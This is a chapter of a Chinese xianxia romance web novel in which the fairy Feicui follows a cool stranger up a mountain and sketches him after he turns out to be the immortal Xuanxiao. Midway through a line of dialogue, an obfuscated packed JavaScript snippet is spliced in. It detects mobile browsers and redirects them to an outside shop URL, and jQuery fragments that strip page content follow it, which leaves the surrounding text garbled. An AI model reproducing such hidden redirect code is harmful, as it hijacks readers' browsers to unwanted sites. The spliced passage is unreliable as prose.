文趣网 > 其他小说 > 风月宝鉴(二稿) > 11. 等待进入网审
    翡翠滚出门去,早不见了那帮惯常狠心、已经抛闪过她五百次的塑料朋友们,宫馆外望景的回廊上只有一个冷清清的身影,看侧脸正是她刚才都看入了迷的那张高冷脸庞。

    “仙友清静!”翡翠喜出望外。

    “仙友……素朴。”

    “大荒山翡翠。”

    “三危山青桐。”

    这位小器仙也并不象她的眉眼那样拒人千里,翡翠的胆子便更大了。

    “青桐,真是好美的名字。”

    “铜铁的铜。”

    “……为什么?”

    “因为……”

    到底是因为什么要取铜铁这样多少显得有点奇怪的名字,是三危山有丰富的铜铁矿石?或者铜铁乃是器仙们日常居家、行走江湖之必备用品?这位高冷范的小仙女可能是觉得并没有解释的必要,没有再说下去。

    翡翠也就另换了个能聊得下去的话题。

    “怎么不下去玩呢?”

    “没意思。”

    “那……怎样才有意思呢?”

    青铜遂从百宝囊里取出一件物事,在掌心摊平长大了露出原形,乃是尺余大小的一枚轮状法器,被她向上抛去,在空中缓缓旋转起来,幅条打横转,轮身竖起转,摇摇晃晃,来来回回,颠颠覆覆,颤颤悠悠,周天三百六十度翻身打了好几个滚儿。

    “这是……”

    “这是探测地气的脉轮,你可敢跟我一起试炼?”

    “怎么个试炼法?”

    “就是你跟在我身后,万一我试炼失败掉下去了,又或者脉轮起火燃烧起来,你好及时解救一下。”

    翡翠略一思索,觉得这完全没有问题!

    身为一名医学生,她虽则学业平平,医学生该有的种种家什那都还是一应俱全的。

    具体到眼前这件事:

    除了采薰草、条草、?芜、芎?等等常规草药的摘月剪,她还有捞水中药用的白珠、玄玉、冉遗、鳂鱼的混江网。甚至她虽然五百年也不曾野外实习过,那野外实习三件套——露营帐篷、防潮地垫以及防寒云被,她可也并不比别人少半件!

    如果脉轮起火了,那便用混江网兜住,水属性的不怕火烧。

    如果是青铜掉在这乱山里需要搭救,那她正有露营三件套!

    她俩一拍既合,立即议妥了开工,青铜先一步跳上脉轮,四下环视,最后伸手一指倾宫再往上那遥远而渺茫的樊桐峰顶。

    “我记得来时峰顶上是有座亭子的,你看见了么?我们就在那儿汇合。”

    ZU——

    脉轮启动起来,带着一阵强风倏忽消失在翡翠眼前。

    翡翠一时间傻了个眼,千谋万虑,就是没有想到……原来脉轮竟是这么个速度!

    她也只能再凭力大出奇迹,努力奋起直追,一翻身飞跃头顶上的昊天上帝行宫,在行宫殿脊上踞坐的白玉开明兽头上猛一借力,又再飞跃斜倾的利害崖顶。过了崖顶再往上看……

    只见樊桐峰林海茫茫,那些青葱茏苁、蓊蓊郁郁、也叫不出什么名目的上古神树们枝叶交错、争奇斗绮,一树树你压着我,我压着你,哪里还能看见青铜的半点身影?

    好在既已讲定了会合地点,翡翠便沿着这个既定路线往上飞去。

    她往上飞去。

    她往上飞去。

    飞了一会儿就觉得有些不对,之前进昆仑虚时,她们都是被嵩乔装进袖笼带进来的,那时节还不觉得什么,如今才发现这山峰高不可攀,仿佛随着她的起飞,也在跟着同步往生上长似的,居然怎样也飞不到头。

    她飞呵飞呵奋力地往上飞。

    薄暮也落呵落呵轻飘飘地往下落。

    终于在那么一个命定的时刻,这两者艰难会师在由青铜所指定的峰顶的那间脉亭上。

    天地一瞬间安静下来。

    一株若木伸在亭边的侧枝开出了这根枝条上唯一的一朵若华。

    这朵若华发出柔和而淡泊的光芒,浅浅地映照着亭楣上的匾额,晕染着这匾额上似曾相识的两个大字:

    理脉

    翡翠怀疑自己是不是眼花了。

    定睛再一瞧,这两个字确实神似嵩乔的字体。

    嵩乔写字就特别喜欢在字尾飞出游丝。

    只不过这张匾额上的游丝雄健飘逸、不可一世,不象嵩乔的字总是那样粘缠滞重、灰扑扑的。

    ——嗯,其实也都差不多。

    翡翠在心里这样评判着,把眼光从匾额上挪下来。

    只见那澄静高冷的小仙女周身淡淡地发着光,在亭中凭栏远眺,遗世独立,那种寂寞霄雿之气,仿佛在这插天峰峦之上、暮色霞光之中,独个儿打开了另一派苍莽虚空。

    冥冥漠漠,芒芒昧昧。

    浩而不竭,茫无涯际。

    昆仑虚身为东昆仑万脉之眼,承接着从西昆仑风穴起脉,经弱水瑶池、竹水浮山、?渊昆冈一路东来的万山之气,其气脉本应当深闳广大浩然澎湃,此时此刻,新近证极的九品上仙玄嚣在当年由九天上脉府星君嵩乔定位的理脉亭中进入玄览,以神识周遍浏览,只觉得此间脉气简直虚浮到了快没有根的地步。

    所谓天下第一奇脉……

    比他之前所在的危机重重的黄帝陵也好不了多少。

    “青铜!”他身后翡翠的星星眼都点亮了:“你在发光耶!”

    这注定是忧深患重的一天。

    他即将执掌的昆仑虚只有一个十镇之首的空壳子。

    而就在他遍照观测这一切的时候,一位正在试炼某种不知名新型法器的小仙女试炼失败,分分明明在他眼前掉了下去。

    所谓大道无端,终始若环;风兴云蒸,鬼出电入。

    这是上天于冥冥中借这样的外应在提点他什么嘛?

    “青铜!”

    玄嚣收起玄览,转身去看上天给他降下的第二个外应。

    翡翠些错愕地看着敛去光芒的青铜在暮色中居然变成了一位俊爽仙子,只有眉眼中的神态依旧挥之不去,还跟之前一样的汪然平静、寂然清澄,仿佛天塌下来在他这里都不过是一场无需忧喜的灰飞烟灭。

    啪啪啪——

    她十分热烈地鼓起掌来,只一个人就鼓出了千军万马的气势。

    “变得好,变得好!”

    “变得妙,变得妙!”

    玄嚣一时竟摸不清她的路数。

    按常理,如若他摸不清对方的路数,那一般就说明对方的路数总要比他深沉,修为比他精进,境界比他广大,但……

    “还能再变点别的么?”翡翠十分仰慕地看着他:“你仙质这么好,我们问道堂都还没有学到变化这门课耶!”

    “你……想要变什么?”

    翡翠突然又改了主意。

    “你等等!”她忙忙地去百宝囊里一阵乱掏:“就这样

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17562085|203400||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,保持住,你坚持一下,一定要保持住!”

    玄嚣只见她先从囊中拿出一枚照夜珠点亮,然后又掏出一副纸笔,坐下来开始对着他一阵临摩,抬头看他一眼,在纸上画两笔,又抬头看他两眼,又在纸上画几笔。

    他想去看看她都画了些什么,肩才一动,立刻被翡翠制止了。

    “别动!”她央求道:“好青铜,求求你就站那儿别动,我好不容易才明白了——原来就是你变出来的这个模样!就是你变出来的这个模样!求求你千万再坚持一下,我马上就画好了,马上就好了,很快的!很快的!”

    这又是什么攻略他的新套路?

    玄嚣自两万年前于中州黄帝陵帝都山帝台降生以来,少而玉雪,长而玉树,这半辈子以来,自帝台宫娥以降,到他日前执掌的镇阴寺系统内的女官,再到他辖下跟他有过交道的诸山仙女,想要攻略他的婚龄女仙可谓数不胜数:

    有给他递信物的;

    有给他寄情书的;

    也有千方百计与他偶遇的;

    也有托月老冰人转相说合的;

    就在前一阵子,据说还有一位并非他辖下的娇娇美美的小仙女骑着麒麟冲上门来……

    种种种种,在玄嚣都不过是一派浮云过大空。

    他知道有浮云这么回事,也由得她们纷纷扰扰过大空,而大空终不过是万里一碧、全不留痕的大空而已。

    他耐心地站在那里等翡翠画完了。

    “我瞧瞧。”

    “就是有点儿……不太象……”

    翡翠也知道自己的灵魂画技过于抽象,一边谦虚着一边想起来还差一个点睛之笔,连忙又从玄嚣手中抽出来继续铺陈渲染。

    ——光芒!

    重点就在于最后的这一道光芒!

    她大肆铺张在纸上填满了七彩以仿佛七宝琉璃光,这下终于觉得十分满意了,把那张画提到玄嚣的脸侧左右对比着。

    “这下可以了——简直就一模一样!”

    ——行罢!

    她觉得一模一样就一模一样罢。

    翡翠将这副与她午夜梦魂中的哥哥一模一样的大作收起来,终于想起了她跟青铜之前约好的事。

    “你的脉轮呢?”她多少有点抱歉:“我实在是飞得太慢了,还好你试炼成功了是不是?”

    所以她实际上要找的是刚才那位试炼法器失败的小仙女。

    玄嚣一拂袖,将翡翠直接抛到那位小仙女从他眼前摔跌下去的地方。

    大空又恢复了万里一碧的宁静。

    但又不是象之前那样的简单的一派宁静。

    玄嚣思量着他初到昆仑虚第一日,也是第一次观测气脉便遇到的这两缕浮云,她们是浮云,同时也是外应,只是不知道在他即将展开的新的仙涯里……将会如何显化她们的影响呢?

    倒也不是不可以调用玄览去推测一下前因后果。

    只不过在他而今的境界,乘云陵霄,与造化俱,可以步而步,可以骤而骤,所谓善易者不卜,早已不屑于强窥因果了。

    夜色渐渐转浓。

    亭边那朵若华的光焰淡淡地灼烧着夜空。

    玄嚣听任山风鼓荡起他的袍袖,猎猎飞舞着摩挲他的每一寸肌肤。

    他仿佛就要在这样奔流的气息中随风化去,融合进虚而不竭、动而无穷的大道,随着大道的一呼一吸、一翕一张,周而复始,如环无端。